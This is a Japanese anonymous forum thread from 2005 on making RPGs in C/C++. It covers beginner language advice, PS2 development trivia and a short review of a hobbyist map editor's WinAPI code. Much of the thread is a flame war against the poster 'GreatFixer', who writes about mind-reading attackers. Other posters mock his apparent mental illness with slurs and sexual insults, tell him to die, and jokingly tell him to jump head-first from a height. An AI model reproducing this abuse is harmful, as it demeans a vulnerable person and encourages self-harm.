337デフォルトの名無しさん:2005/05/27(金) 08:47:55
JABAか
JABAKA
Jaバカ?
338デフォルトの名無しさん:2005/05/27(金) 12:57:19
お前ら引っ張り杉
339GreatFixer ◆ASWqyCy.nQ :2005/05/27(金) 13:13:52
Re:>>332 Javaを使った方が楽な場合とCを使った方が楽な場合があるだけのこと。
340デフォルトの名無しさん:2005/05/27(金) 21:47:34
名科白
「あんた、ばかぁ?!」
が聞きたくなった・・・・
dvd,dvd,
341デフォルトの名無しさん:2005/05/27(金) 21:48:41
C++でPS2ゲームは作れるか。
342デフォルトの名無しさん:2005/05/27(金) 21:57:37
JavaとC言語は互いに補完しあう関係だ
343デフォルトの名無しさん:2005/05/27(金) 22:01:39
>>341
いや、作れるだろ
344デフォルトの名無しさん:2005/05/27(金) 22:40:57
つか作られてるだろ。
345デフォルトの名無しさん:2005/05/27(金) 22:42:57
JABAすげぇな、こんなに流行ってるとは知らなかった。
346デフォルトの名無しさん:2005/05/28(土) 16:06:06
JABA の検索結果のうち 日本語のページ 約 34,800 件中 1 - 20 件目 (0.30 秒)
347デフォルトの名無しさん:2005/05/28(土) 16:07:13
JavaとC++どっちが多いの?
348デフォルトの名無しさん:2005/05/28(土) 16:08:18
アルファベットの種類ならJava
記号の種類ならC++
349デフォルトの名無しさん:2005/05/28(土) 19:10:19
挫折組のヒステリーの多さならC++
350デフォルトの名無しさん:2005/05/28(土) 21:41:07
C++はCより凄そうだが、実際どうなんだろう。

PS2のゲームはCとC++どっちでも作れる?
351デフォルトの名無しさん:2005/05/28(土) 21:43:21
言い忘れたが、C#とは何?(初耳)
352デフォルトの名無しさん:2005/05/28(土) 21:43:34
>>350
ネタなのかマジなのか判断に苦しむので何も書かないでおきますね
353デフォルトの名無しさん:2005/05/28(土) 21:52:40
>>352マジっす。今中学で、初めてやってみたいとおもいますた。
CとC++どっちにするか悩むところ・・・・
出来れば資料くだせぃ。。。

つーか苦しんでいても書いて欲しかったところでつ。。。。。、。

ついでに英語覚えたいところでもある。
354デフォルトの名無しさん:2005/05/28(土) 21:57:22
341 :デフォルトの名無しさん :2005/05/27(金) 21:48:41
C++でPS2ゲームは作れるか。

347 :デフォルトの名無しさん :2005/05/28(土) 16:07:13
JavaとC++どっちが多いの?

350 :デフォルトの名無しさん :2005/05/28(土) 21:41:07
C++はCより凄そうだが、実際どうなんだろう。

PS2のゲームはCとC++どっちでも作れる?



・・・もうね、アボカド、バナナかと。いい加減にしてくれ。
355デフォルトの名無しさん:2005/05/28(土) 22:00:16
>>353
最初のうちはCでもC++でも同じだマジレス。
というかC++はCの仕様を内包してるからな。
でも言語の勉強より設計の勉強のほうをやったほうがいいんではないかと最近思う。
356デフォルトの名無しさん:2005/05/28(土) 22:00:25
>>354
つい、ワロタ。
357デフォルトの名無しさん:2005/05/28(土) 22:04:22
PS2のゲーム作るなんて野望は捨てろ。
パンピーが手を出すもんじゃない。
358デフォルトの名無しさん:2005/05/28(土) 22:19:25
ゲームショップにある 100円 〜 500円のPS2ソフトをミレ。

その惨憺たる有様を己が目に焼き付けて来い。
359デフォルトの名無しさん:2005/05/28(土) 22:31:42
XBOX360やPS3やRevolutionが発表されたこの時期にPS2とかワロスw
どうせなら少しでも性能の良いXBOXで開発しろよ
360GreatFixer ◆ASWqyCy.nQ :2005/05/28(土) 22:36:36
最近の大企業のゲームは素人では到底成し遂げられない領域まで発達している。
(ゲーム自体の質はまた別の問題だが。)
361デフォルトの名無しさん:2005/05/28(土) 22:50:18
まぁXBOX360はバグばっかでプロでさえ成し遂げられてないんだけどな・・・
362デフォルトの名無しさん:2005/05/28(土) 22:55:51
>>361
開発者の人ですか?詳細よろ
363デフォルトの名無しさん:2005/05/29(日) 00:01:05
364デフォルトの名無しさん:2005/05/29(日) 00:04:40
バグばっかなのは>>361のコードでは・・・
365デフォルトの名無しさん:2005/05/29(日) 00:09:40
(ノ∀`)
366デフォルトの名無しさん:2005/05/29(日) 00:22:39
(´-ω-`) シラケー
367デフォルトの名無しさん:2005/05/29(日) 01:09:18
>>363
えーっと、つまり>>361は開発中のハードの開発中のソフトでバグが出る事をハードのせいにするプログラマって事でよろしいか?
368デフォルトの名無しさん:2005/05/29(日) 03:49:06
で、360でC#は本当に使えるのか?
369デフォルトの名無しさん:2005/05/29(日) 08:06:03
俺、結構笑われているが、なにげ真面目。
370デフォルトの名無しさん:2005/05/29(日) 14:27:10
>>368
使えないんじゃない?なんかそれ開発用のライブラリ群があるとかないとか

>>350
以前PS2のゲーム開発してる人のインタビュー読んだら、CもC++も使わないらしいよ
なんかアセンブルっぽい開発するらしい。だからCしかできない奴には不可能とかほざいてた
371デフォルトの名無しさん:2005/05/29(日) 14:54:43
ここはC/C++でRPGを作るスレだからゲーム機に関しての質問はここでやってくれないか?

ゲームプログラマーの人に聞きたい 0xA問目
http://pc8.2ch.net/test/read.cgi/prog/1115375538/
372デフォルトの名無しさん:2005/05/29(日) 15:06:00
>>371
禿同。
373デフォルトの名無しさん:2005/05/29(日) 17:01:41
>>370
PS2でC++どころかCも使わないってどれだけ速さが求められるソフトなんだろうw
ロード時間が爆速なのかね?
CやC++の開発環境があるのに「使わない」ってのは凄いが
374デフォルトの名無しさん:2005/05/29(日) 17:04:08
たとえばファイルから一行ずつ文字列を読み込むなんてーのを書く場合、
C と C++ のどっちがすげーのだろうか?
# C とか絶対に使うなとかいう技がマニュアルに書いてあるよね。
375デフォルトの名無しさん:2005/05/29(日) 19:12:46
>>374
スレ違いだっつってんだろ
376デフォルトの名無しさん:2005/05/29(日) 19:51:45
> なんかアセンブルっぽい開発するらしい。
PS2でかよw
プログラマ神だな。
377デフォルトの名無しさん:2005/05/30(月) 18:17:02
PS2ソフトは何言語で作られているのだろうか!!?
378デフォルトの名無しさん:2005/05/30(月) 18:19:08
>>373
速さって言語によって違うんですか。

いいRPGを作るのって、どの言語が一番適していますか?
379デフォルトの名無しさん:2005/05/30(月) 18:26:28
実際問題、どうせシナリオは簡易言語で書かれている筈だから
その簡易言語が何で書かれていても大差ない罠。
380デフォルトの名無しさん:2005/05/30(月) 19:56:44
>>377
いいかげんPS2の話題はやめておけ。
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1306635

ちなみに開発するためには専用のハードが最低必要で2百万円ぐらい。
ttp://www.watch.impress.co.jp/pc/docs/article/20000304/ps210036.jpg
右が開発機、左がプレステ2

ドラクエ8はGCCとコードウォーリアあたりで開発されたとかなんとか。
標準でついてくるGCCはあまり使いやすくない(例えばデバッガ)ので
CodeWarriorが事実上標準の環境らしい。
381380:2005/05/30(月) 20:00:14
これ以上は自分で検索してくれ。頼む。
382デフォルトの名無しさん:2005/05/30(月) 21:37:58
>>378
スレ違いだっつってんだろ
383デフォルトの名無しさん:2005/05/31(火) 00:03:34
>>382
いやここはRPGスレだぞw
384デフォルトの名無しさん:2005/05/31(火) 00:22:53
RPGってどんな言語だったんですか?
385デフォルトの名無しさん:2005/05/31(火) 00:55:07
>>383-384
いいかげんにしろ
386デフォルトの名無しさん:2005/05/31(火) 00:59:51
=== AS/400・RPG言語 技術者募集===

(案件内容)  信託銀行向け、開発・保守対応
(必要スキル) AS/400、RPG経験者
(4,5年以上の開発経験者希望)
(作業期間)  8月1日〜長期(1年以上)
(単金)    ご相談    
(場所) 目黒
387デフォルトの名無しさん:2005/05/31(火) 01:06:52
>>384
"RPG" という言語はあることはあるが、それのことか?
388デフォルトの名無しさん:2005/05/31(火) 17:09:41
☠ฺ名スレの予感ฺ☠
ฺฺ☠ฺ
389デフォルトの名無しさん:2005/05/31(火) 21:35:32
RPGの処理系をつくるスレ?
390デフォルトの名無しさん:2005/05/31(火) 21:40:56
>>389
違う。C/C++でロールプレイングゲームを作るスレ。
391デフォルトの名無しさん:2005/05/31(火) 21:57:06
RPGってスゲー言語仕様だな...
これの処理系か...
392デフォルトの名無しさん:2005/05/31(火) 22:19:40
>>391
RPGはもともと、オペレーター(汎用エンドユーザーの)が帳票レイアウトを
変更できるように開発された定義体。
393デフォルトの名無しさん:2005/05/31(火) 22:21:19
オフコンオペレータ
394デフォルトの名無しさん:2005/06/01(水) 07:36:41
キチガイでオナニー袋愛好家のGreatFixer ◆ASWqyCy.nQは知識も
無いのに随分と偉そうに書いてるな。
見てて痛いぞw
395GreatFixer ◆ASWqyCy.nQ :2005/06/01(水) 19:16:22
Re:>>394 お前に何が分かるというのか?
396デフォルトの名無しさん:2005/06/01(水) 22:40:41
>>394-395
の今後の発展に期待。(藁
397デフォルトの名無しさん:2005/06/02(木) 08:08:19
Re:キチガイでオナニー袋愛好家のGreatFixer ◆ASWqyCy.nQ
さあな、俺はビニール袋オナニー愛好家でもないし、キチガイでもないんで
おまえの考えている事はサッパリわからんよ。
ただ、おまえのように表面だけかじっただけの知識で自慢げに騙ったり、
憶測だけだらだら並べたオナニーレスなんかは、俺には真似出来ませんよ。
つーかさ、おまえ他の板でも知ったかで場違いな事色々書いてるけど、
書いてて恥ずかしくないのかよ?
キチガイじゃ恥ずかしいなんて感覚は持ち合わせていないか・・・・・
398デフォルトの名無しさん:2005/06/02(木) 08:25:41
>>397
ゴルァ!藻前!オナホール愛好家が抜けてますよ。
399デフォルトの名無しさん:2005/06/02(木) 09:47:45
>397
リアルで精神分裂症っぽいから関わらないほうがいい。
400デフォルトの名無しさん:2005/06/02(木) 17:20:30
>>398-399
今後の発展に萌え。
401GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 18:07:34
Re:>>397-399 工作員はさっさとあの世へ逝け。
402デフォルトの名無しさん:2005/06/02(木) 18:15:05
煽りを放置できないコテもついでにどっか逝ってくれ。
403デフォルトの名無しさん:2005/06/02(木) 18:18:55
>>401
分裂症そのものだなw
404デフォルトの名無しさん:2005/06/02(木) 18:22:55
>>401
工作員?そんなの居ると思ってるの?そりゃマジでキチガイだ。
405デフォルトの名無しさん:2005/06/02(木) 18:24:45
なんか俺めちゃくちゃ馬鹿にされているが、一応初心者スレだから、
こーゆーこと聞いてもいいと思う。
知らなかったやつにもわかるしな。
 あと、土曜日に言語の本買いに行くんだけど、何が一番使いやすくて
発展すればRPGを作れるほどの言語って何?
406GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 18:35:27
Re:>>402,404 言っておくが私だけ居なくなっても問題の解決にはならないからな。
407デフォルトの名無しさん:2005/06/02(木) 18:48:56
>>406なると思う。
408デフォルトの名無しさん:2005/06/02(木) 18:57:29
うん、なるな。
409GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 19:05:52
Re:>>407-408 工作員は早死にしろ。
410デフォルトの名無しさん:2005/06/02(木) 19:14:39
ためしに一ヶ月間書き込むのやめてみて、
一ヶ月後にまだお前の話題で盛り上がってたら
「お前が居なくなっても問題の解決にならない」ってことで
復帰していいよ。
411デフォルトの名無しさん:2005/06/02(木) 19:16:46
>>410
一週間でも人がいなくなると思うが
412デフォルトの名無しさん:2005/06/02(木) 19:20:17
なんか話がズレまくってる。 (´・ω・`)ショボーン
413デフォルトの名無しさん:2005/06/02(木) 19:36:03
>>405
>初心者スレ
か?ほんとうにそうか?

言語は極論すれば何でもRPG作れるけどスレの通りいくならCかC++。
だが、言語の本とするとC/C++ではグラフィック関連は望めない
(OSに依存することでC/C++では規格化されていないから)。

Javaならそのあたりがばっちり言語仕様に含まれているし、
Window表示や、グラフィック関連を扱っている書籍も多い。
Javaにしろ。Java。
414デフォルトの名無しさん:2005/06/02(木) 19:42:06
ペゾルドでいいんじゃね?
せっかくGDI+使ってる人がいるんだけど載ってるような本が見当たらないし
415デフォルトの名無しさん:2005/06/02(木) 19:43:39
うむ、>405レベルならJavaがいいだろう。公開する場にも事欠かないしな。

で、工作員とはなんのことだ? また詰まらんコテでも暴れてるのか?
416GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:03:08
Re:>>410 話をすりかえるな、工作員。
417デフォルトの名無しさん:2005/06/02(木) 20:11:32
>>416
お前こそすりかえるな。
418デフォルトの名無しさん:2005/06/02(木) 20:23:14
>>416
全然摩り替えてないじゃん。
荒らしに反応する奴も荒らし、そんな最低限の空気が読めないなら消えろ
419デフォルトの名無しさん:2005/06/02(木) 20:40:34
>>416
一日に4回も "工作員" の単語が入ったレスをするなんてキモ杉。
420GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:43:42
Re:>>418 とりあえず、[>>397]が誰なのかを教えてくれ。
421デフォルトの名無しさん:2005/06/02(木) 20:50:27
>>420
知らないんだから教えられるわけ無いだろ
422GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:59:22
Re:>>421 それじゃあ捜査に協力してくれる人を紹介してくれ。人の脳を読む能力を悪用する奴が誰なのかを調べるから。
423デフォルトの名無しさん:2005/06/02(木) 21:40:23
>>422
>人の脳を読む能力を悪用する奴
うわ、サイコ野郎みたいな発言。
マヂで精神病なんじゃね〜の?大丈夫か?
424デフォルトの名無しさん:2005/06/02(木) 21:57:37
>>422
お前が消えれば事は済みそうな気がするが。
425デフォルトの名無しさん:2005/06/02(木) 22:15:46
>>424
それを確認する手段が提示されたにもかかわらず
無視してるからな、この馬鹿は。
426GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 22:27:41
Re:>>424 それより、人の脳を読む能力の正体を教えてくれ。さもないとこいつからは消えようが無い。
427GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 22:28:06
Re:>>424 いずれにしてもなぜお前が沸いて出るのかはわからない。
428デフォルトの名無しさん:2005/06/02(木) 22:41:01
>>425
困りましたね。
429デフォルトの名無しさん:2005/06/02(木) 22:44:53


  荒  ら  し  に  反  応  す  る  奴  も  荒  ら  し
430デフォルトの名無しさん:2005/06/02(木) 22:50:39
>>426-427
とりあえず、相当 錯乱していられるご様子。

>人の脳を読む能力の正体を教えてくれ。
人の脳を読む能力を会得するには、高い所から頭を下に向けて飛び降りること。
できるだけ高いところヂャないと無理だからね。

>さもないとこいつからは消えようが無い。
そこまでトチ狂っちゃう訳を聞こうか。(プ

>いずれにしてもなぜお前が沸いて出るのかはわからない。
いずれにしてもなぜお前が>>397に固執するのかわからない。

431デフォルトの名無しさん:2005/06/02(木) 22:53:29
>>413
405じゃないけど、処理系に依存しないタイプでは
C/C++ & OpenGL って開発難しいのかな?
Javaの方が敷居が低いってことですか?
432デフォルトの名無しさん:2005/06/02(木) 23:21:31
おまいらなんでSDLを完全スルーするんだ?
433デフォルトの名無しさん:2005/06/02(木) 23:22:32
なぜOpenGL?
ttp://www.uri.sakura.ne.jp/~cosmic/yuno/lab/gl_intro.html
ここでもみて(OpenGLを2Dに特化して使おうというページ)
楽勝だと思えばOpenGLでいいと思います。
SDLがいいならそれでいいと思います。
Windows API生呼び出しがいいならそれでいいと思います。
DirextXがいいなら使えばいいと思います。
434デフォルトの名無しさん:2005/06/02(木) 23:26:29
言語はどれがいい?とか、ライブラリの組み合わせは?
とか言ってる段階の人にSDLやらOpenGLやらを薦めるのは間違い。
435デフォルトの名無しさん:2005/06/03(金) 08:06:58
>>434
でも、SDLを勧めるのはあながち悪いとは思わない。
たしかに、基本が出来ない(理解してない)とつらいし、挫折するだろうけど、
正直、コンソールだけでは、直に飽きる。
そんな折に、ちょっと背伸びをして見るのは今やってることを再認識すると言う意味でもいいことかと。
436デフォルトの名無しさん:2005/06/03(金) 08:21:00
>>435
ライブラリを使えるようにするまで頓挫しそうだから
OS依存の方法でとりあえず遊んでみようかってことかと

コンソールだけだと飽きるってのは同意
437デフォルトの名無しさん:2005/06/03(金) 09:24:38
Win32APIよりSDLのほうが楽っしょ
438デフォルトの名無しさん:2005/06/03(金) 09:39:09
そういうことを言わずに済むJavaを薦める。
439デフォルトの名無しさん:2005/06/03(金) 09:51:38
Javaも2DAPIが豊富に取り揃えてある気がするんだが
440デフォルトの名無しさん:2005/06/03(金) 10:18:36
>>438-439
一応、ココのスレはC/C++がMainだからなぁ。
たしかに、自分もJavaのほうがケータイのアプリとかも作れて面白そうだし
分厚い本を読みながら先が見えなくなりやすいCやC++は勧め難いが、
C/C++を知っておいて悪いと言うわけはなかろう。

とC/C++をフォローしてみる。
441デフォルトの名無しさん:2005/06/03(金) 12:38:57
そこでRuby+SDL
442GreatFixer ◆ASWqyCy.nQ :2005/06/03(金) 12:40:32
Re:>>430 それじゃあ人の脳を読む能力を妨害する方法は?向こうも妨害してるんだから無問題だ。
443デフォルトの名無しさん:2005/06/03(金) 13:39:13
>>442
ああ、書き込む前に読んでねに書かれている”頭のおかしな人”ってのはこんな
香具師を言うのかな。と、思いました、まる
444デフォルトの名無しさん:2005/06/03(金) 13:50:22
>>442
見事に狂ってるな。
人の脳を読む能力ってのはなんだい?超能力かい?
まぁ俺には理解しがたいが。
445デフォルトの名無しさん:2005/06/03(金) 14:47:18
超脳力
446デフォルトの名無しさん:2005/06/03(金) 17:08:29
CでRPGを作るときって、RPGを作るソフトを作って、そのソフトで
RPGを作れって事ですか?
447デフォルトの名無しさん:2005/06/03(金) 17:55:16
>>442
このスレに書き込まないこと
448デフォルトの名無しさん:2005/06/03(金) 17:55:53
>>446
どちらでも好きな方で。
もちろん「RPGを作るソフト」を作る方が手間がかかる。
449GreatFixer ◆ASWqyCy.nQ :2005/06/03(金) 18:23:25
Re:>>444 現実にある能力だ。
450デフォルトの名無しさん:2005/06/03(金) 19:14:54
その根拠は?
451デフォルトの名無しさん:2005/06/03(金) 19:16:30
おまいらゲ製作板が暇だからってこんなところにいたのか
452デフォルトの名無しさん:2005/06/03(金) 19:16:44
>>446
大規模なRPGになればなるほど、
自作ツールの必要性に迫られるとオモワレ

小規模なRPGなら、ツール作らなくても
なんとかなるかもね。
初作はツールとかにこだわらず、
思うままにやってみるのがいいのかな。
453デフォルトの名無しさん:2005/06/03(金) 19:44:16
SaGe4の開発でイベント作成用のツール自作してたね
454デフォルトの名無しさん:2005/06/03(金) 20:38:16
おまいら、これでも見ておちつけ
                    , -=- -─‐-、
                   _ ´-─ ¬く  ̄  ̄ミ- 、
                ,,,,/    _==-ミァ-─‐-、 \''''''''''''ー--、,,,,,_
            _,,,,-''"/  , ‐''"         \ \、_,,,ー''ゞ" `ゞ、
            -' "  /  /     /   |      \ ヽ     /"`
       _,,-''''''"""''''' / /  /   / /    ||  |  i  ヽ i    /
       ´"''、.    i /  / /  / / /    ||  ||  |│ |ノス  /
          '、   |//  / /___, -一ァ|  /! |ト、|│ | | く」/
            '、  |,-‐¬  ---┘'7 |!  ハ! |,、-┼十|!/\/\
          , -‐ ''"  し' '´_ /,ィ二l |ト、/!ヽト、\_ヽ!|!l\:..  /
       ,r/      __   ,イ|リ ヾハ! ヽ!  ,ィ⌒ヾミリノ/:::... \
      / ||ヽ  -'     / ̄ )` __      |ヒノ:} '` ,;\/\/
    ,r '   ヾ、  ,-、____ , イ ̄,r==-      ==-'  レ' /|  |
  / ヽ    `ーソ  ' | |ト、,ヘ ′""          "" / / || |
. /    \_  /  | ハ ヽ`゙'ヘ       ' '     / / | |  | 
           /   / / |  ヽ 川\      0     //! |  | |  |
        /    / / 八  \川| |`ト- .. __ , イ‐ァヘ |  | ||  |!
      /    / / /  \  \ 「`ー- 、    /  .〉  ト、|  ヽ、
     ,イ    /-─=¬ニヘ、_  \   厂\ 厂ヽ /!|   | `ー=ヘ
 -‐  ̄ /─ '  ̄     ├- ヽ\  \ノ\ \ 人 ハ!ヽ ||  |-┤ ヽ
      /          /!‐-- | |\   ト、_`ヽ oヽ  ト、!  ||  |‐┤- ヽ
  // 〉      __ /  ├‐-  ||  | 川-‐  | |  厂7! ハ!  ├:┤  ̄ヽ
  / / ー ─    ̄       ├‐- リ  || ハ!ヘ   | |  ト┤|/′ ヾ,┤   ゙i_
  ‐ '              〉‐-    | / /\ .|o | /ヽ/(′    ∨     \
455454:2005/06/03(金) 20:40:41
話しぶった切ってわるかった。
もとから落ち着いてた人は、続けてください。
456デフォルトの名無しさん:2005/06/03(金) 21:40:54
>>449
現実にある能力?それが何か聞いてるんだけど、理解してるかい?
その能力を使うとどうなるんだい?
ビニール袋オナニーを実践したが擦れて痛いだけであまり気持ちよくなかったとか、
オナホールには興味あるが、女性は邪悪な存在であるとか、意味不明な事ばかり
考えているお前の脳の中など知りたくも無いんだが。
そもそも知識も無いくせにしゃしゃり出て、憶測を現実のように書き、PC関連の板を
次々と荒らして何がしたいんだい?
精神科医の有害薬飲んで死んでくれると嬉しいな、社会不適切者。
457デフォルトの名無しさん:2005/06/03(金) 21:58:29
458デフォルトの名無しさん:2005/06/03(金) 23:49:09
うわ・・・どうしようもないガキとか馬鹿とかはしょっちゅう見たことあるが、
マジモンの精神障害者は初めて見た。笑えねえ。
459デフォルトの名無しさん:2005/06/04(土) 01:31:18
RPGでRPGを作ることは可能でしょうか?
460デフォルトの名無しさん:2005/06/04(土) 01:45:53
>>458
漏れも激しく同意だ。

洒落にならん。
461GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 07:19:46
Re:>>456-458,>>460 いいから人の脳を読む能力を悪用する奴がどこに居るのか教えろ。
462456:2005/06/04(土) 07:59:10
>>461
俺の質問に答えろよ精神異常者!
それが出来ないのならこの世から消えて無くなれ!
463デフォルトの名無しさん:2005/06/04(土) 09:28:46
>>461
そいつ探してどうするん?
464デフォルトの名無しさん:2005/06/04(土) 09:38:10
そりゃあ、こんなに入れ食い状態なら誰だって続けるわな。
465GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 10:05:33
Re:>>463 見つけて止めに行くのだ。
466デフォルトの名無しさん:2005/06/04(土) 10:07:09
>>465
へー。大変だねえ。
君はその被害にあったことがあるのかい?
467GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 13:59:51
Re:>>466 あるから言ってるんだろうが。
468デフォルトの名無しさん:2005/06/04(土) 14:14:43
だからその具体例を提示しろっつーの。
469デフォルトの名無しさん:2005/06/04(土) 14:14:44
>>467
具体的には?
470デフォルトの名無しさん:2005/06/04(土) 14:15:47
GreatFixer ◆ASWqyCy.nQよ、お前のカキコはどう見てもスレ違いだ。
頼むから黙って消えてくれ。お願いだ。
471デフォルトの名無しさん:2005/06/04(土) 14:21:12
そうやって相手する奴がいる限りは消えないっての。馬鹿だな。
472デフォルトの名無しさん:2005/06/04(土) 14:28:52
いやいや、とことんまで話を聞いてあげれば
成仏するかもしれんだろ
473デフォルトの名無しさん:2005/06/04(土) 14:36:27
別のスレでやれ。
474GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 14:59:31
Re:>>470 ところで人の脳を読む能力を悪用する奴は黙ってても消えないのだが。どうすればいいのだ?
Re:>>468-469 数学に関する思考を妨害された。それも意図的な妨害としか感じられない。お前は大学で何をしていたか考えてみろ。
475デフォルトの名無しさん:2005/06/04(土) 15:05:48
うはwwww無理オレ無理wwwwwwwwww
誰か頼むwwwwwwwwwwwwwww
476デフォルトの名無しさん:2005/06/04(土) 15:12:50

        .,i´.,/` /`/`.,i´ ,/`  ../::;;;;;;;;;::::::::::::::::゙'i、゙l, `i、 ,!: 丶
        │,i´  : `"..,i´ .,i´   ,l゙`゙゙゙゙゙゙゙゙''''―-、│ |  │ ゙l  ゙l
        ," |     .l゙  |:    /:        `''| l゙  .| .|  `),
       .l゙ | | : : : : .l゙: : :|: : : : l゙          l  |  .l゙ : l゙ |゙l
       |  | | : : : : │: ::|: : : |     /ニニ ,,l゙: ::,!: ../ │ :|: ゙l
       │ .l゙ | : : : : ": _,,―‐'゙\__/     l゙: :/: :/,i ..,l゙: ,/: :゙l
       .|  .| | : : _,,-'"`              ゙̄:i/: .,/: ./:: : l゙
      │: : |: 丶  '゙l、               : `i、/ : : :/:::: :l゙
      '|``'-|: : 丶  ゙i、''゙,,ニニニミ'    /  ,ニニニ、、  |: : :_,,/.:: :│
      │、: : \、:ゝ ゙l゙(、 ◎ ,)  | (  ◎  )'  ̄i'‐ : : : : :l゙
      l゙  │: : \、: :/   ̄ ̄"   : 、 ' ̄ ̄"   /: : : : : :l゙ ←目が合ったら呪われます
     .| .":|: : : |゙l::` ̄'         l       ./: : ::: : : : :,
     .|  l゙  │゙l::: : :       .、,,_ _,,i、     \::::::::::::: : :,|
     l゙: . |  : |;;│:         `"        : ::,l゙;:,、: : : |
     |: │ :: |;;;;;゙l,: :       ニニニニ=‐      : ./::::l゙: : : : |
     |、:" | : |;;;;::::丶、:      .,,,,,,,,,,,、     : ,,'":: |:  : : |
     |: : : ,! : |;;;;;::::;;;`-、:             ..,,i´;;;;;: |:  : : :|
     | : : :|` : |;;;;;;;;;;;;;;;;,/'-,_:        : ._,,/;;;;;;;;;;; |:   : : l

477デフォルトの名無しさん:2005/06/04(土) 16:33:54
これが噂のVIPクオリティか...
478デフォルトの名無しさん:2005/06/04(土) 16:46:46
どれがだどれがww
479デフォルトの名無しさん:2005/06/04(土) 21:59:02
GreatFixer ◆ASWqyCy.nQ に情報提供。

人の脳を読む能力を発現させているヤツは "佐藤さん" だ。
見つけて止めに逝ってみろ。(藁
480デフォルトのたぬきさん:2005/06/05(日) 02:20:21
このまま煽っててもショウガナイので流れを変えてみるテスト。

今、マップエディタを拵えている所なのだが 誰かタスケレ。
一人で開発するのはムリポ。

できれば >>323 に手伝って貰いたい、ってか教えを乞いたい。

手伝ってくれる輩は ttp://himatanuki.hp.infoseek.co.jp/cgi-bin/patio/patio.cgi へ、どうぞ。
481デフォルトのたぬきさん:2005/06/05(日) 02:46:19
忘れてたので追記。

ttp://www.uplo.net/dl.html
ファイル:523, パスワード: rpg
△ 現在の状況をありのままで報告。

叩かれると それなりに (´-ω-`) シラケーなる。


リア厨房だから、と マジに免罪符を発行してみるテスト。

482デフォルトの名無しさん:2005/06/05(日) 02:53:00
過去レスでSDLを使ったそのものズバリの解説ページを紹介したわけだが華麗にスルーされている件について
483GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 07:54:18
Re:>>479 その人はどこに居るのですか?
484デフォルトの名無しさん:2005/06/05(日) 08:14:04
>>483
その人の脳を読む力を持つ人に
勝てる作戦とかあるん?
真正面から挑むと、脳を読まれて
ボコボコにされちゃうよー。
485デフォルトの名無しさん:2005/06/05(日) 08:36:41
>>482
まあたぬさんはすでにGDI+つかってるんだからかまわなくね?
486デフォルトの名無しさん:2005/06/05(日) 08:40:38
どうも!>>413には悪いんすが、結局、C入門の入門 著/坂下夕里
という本をかい増し田!なんかCを覚えておくと、ほかの言語も覚えやすいようです。

この本持ってる人&このスレの人、YOROSIKU!
487デフォルトの名無しさん:2005/06/05(日) 08:46:09
俺はC++(非VC++)の本を買った方が良かったと思うけどな。そんでもって後からCを学ぶと。
488GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 09:16:40
Re:>>484 とりあえずその人のデータを警察に持って行くか、私に「佐藤さん」の詳細を教えてくれ。
489デフォルトの名無しさん:2005/06/05(日) 10:11:32
警察機構に、脳の中を読む能力を持つ人を
取り締まれると?
490デフォルトの名無しさん:2005/06/05(日) 13:30:16
いつまでスレ違いの議論続けてんの。
RPGの話しようぜ
491デフォルトの名無しさん:2005/06/05(日) 13:35:35
ゼシカのおっぱいについて
492デフォルトの名無しさん:2005/06/05(日) 16:44:26
>>GreatFixer ◆ASWqyCy.nQ
                             _│_
 |    \ |    \  ―┼‐┐| ̄ ̄| \ |― |   |   ̄ ̄
 |     | |     |   |  ||  .|    | 口..|/ |
 \/    \/      |  」 |__| / /  /レ  レ \_
        __
 |        /     ..|_
 |       /       |
 |       ̄ ̄\    |
 \_/      |   _|
         _/  (_ノ ̄
                 ヽヽ
 ―┼―   _/ ―┼―┐    /
 ―┼―‐ ―┼―  |  |   /|
   |     |    |  |    |
   |     ノ    ノ  ..」    |
493デフォルトの名無しさん:2005/06/05(日) 17:19:05
>>480
gdiplus入れてないから実行してないけれどソースから
#define WINVER 0x0400
#define _WIN32_WINNT 0
#define _WIN32_WINDOWS 0x0400
#define _WIN32_IE 0
は多分要らない。というかgdiplus使ってこれはちょっとあれ?

それとマップエディタで何がわからないのかを言ってもらえると
いくらかアドバイスのしようもないわけではない。
とりあえず256*256ぐらいの大きさのマップを扱えればいいんじゃないかとか。
494デフォルトの名無しさん:2005/06/05(日) 18:10:48
うわ・・・ページ開いた瞬間>476が画面ど真ん中に出てきてびびった・・・
うぜーまじうぜー
495デフォルトのたぬきさん:2005/06/05(日) 18:15:28
>>493
>#define WINVER .....
確かにイラナイですね。
影響がでるのはコモンコントロールの構造体ぐらいだし。

マップエディタですケド、何か挙動がおかしいのです。

移動禁止領域の作成時に、設定した領域がゴッチャになるのです。

例えば 10, 20 〜 40, 50 まで移動禁止にし、
50, 0 〜 60, 10も 移動禁止にしたとします。

そうすると、一つ目の 10, 20 〜 40, 50まではしっかりと
移動禁止になるのだけども、

2つ目の 50, 0 〜 60, 10 は何故か 0, 0 〜 10, 60
になってしまうのです。

何度やっても同じ結果で、もうダメポです。
分かり難い説明でスマソ。
496デフォルトの名無しさん:2005/06/05(日) 18:35:08
>>495
座標単位でやるのはやめて、マス単位で管理したほうがいいと思う
497デフォルトの名無しさん:2005/06/05(日) 20:26:47
こっちのが、ゲ制作技術板よか人いるね。。
498デフォルトの名無しさん:2005/06/05(日) 20:49:55
>>495
WM_LBUTTONUP:
for(i=rct[rct_num].top; i < rct[rct_num].bottom; ++i)
{
  for(j=rct[rct_num].top; j < rct[rct_num].right; ++j)
  {
    graphic_info.mapdat[i][j] = 1;
  }
}
内側のループ.topになってる。

WM_PAINT:
hBrush = CreateHatchBrush(HS_FDIAGONAL, RGB(128, 128, 128));
SelectObject(hdc, hBrush);
DeleteObject(hBrush);

これはちょっといただけない。
hOld = SelectObject(hdc, hBrush);
// 描画
SelectObject(hdc, hOld);
DeleteObject(hBrush);
とすること。
499498:2005/06/05(日) 20:55:07
まあプログラムの勘は悪くないと思う。
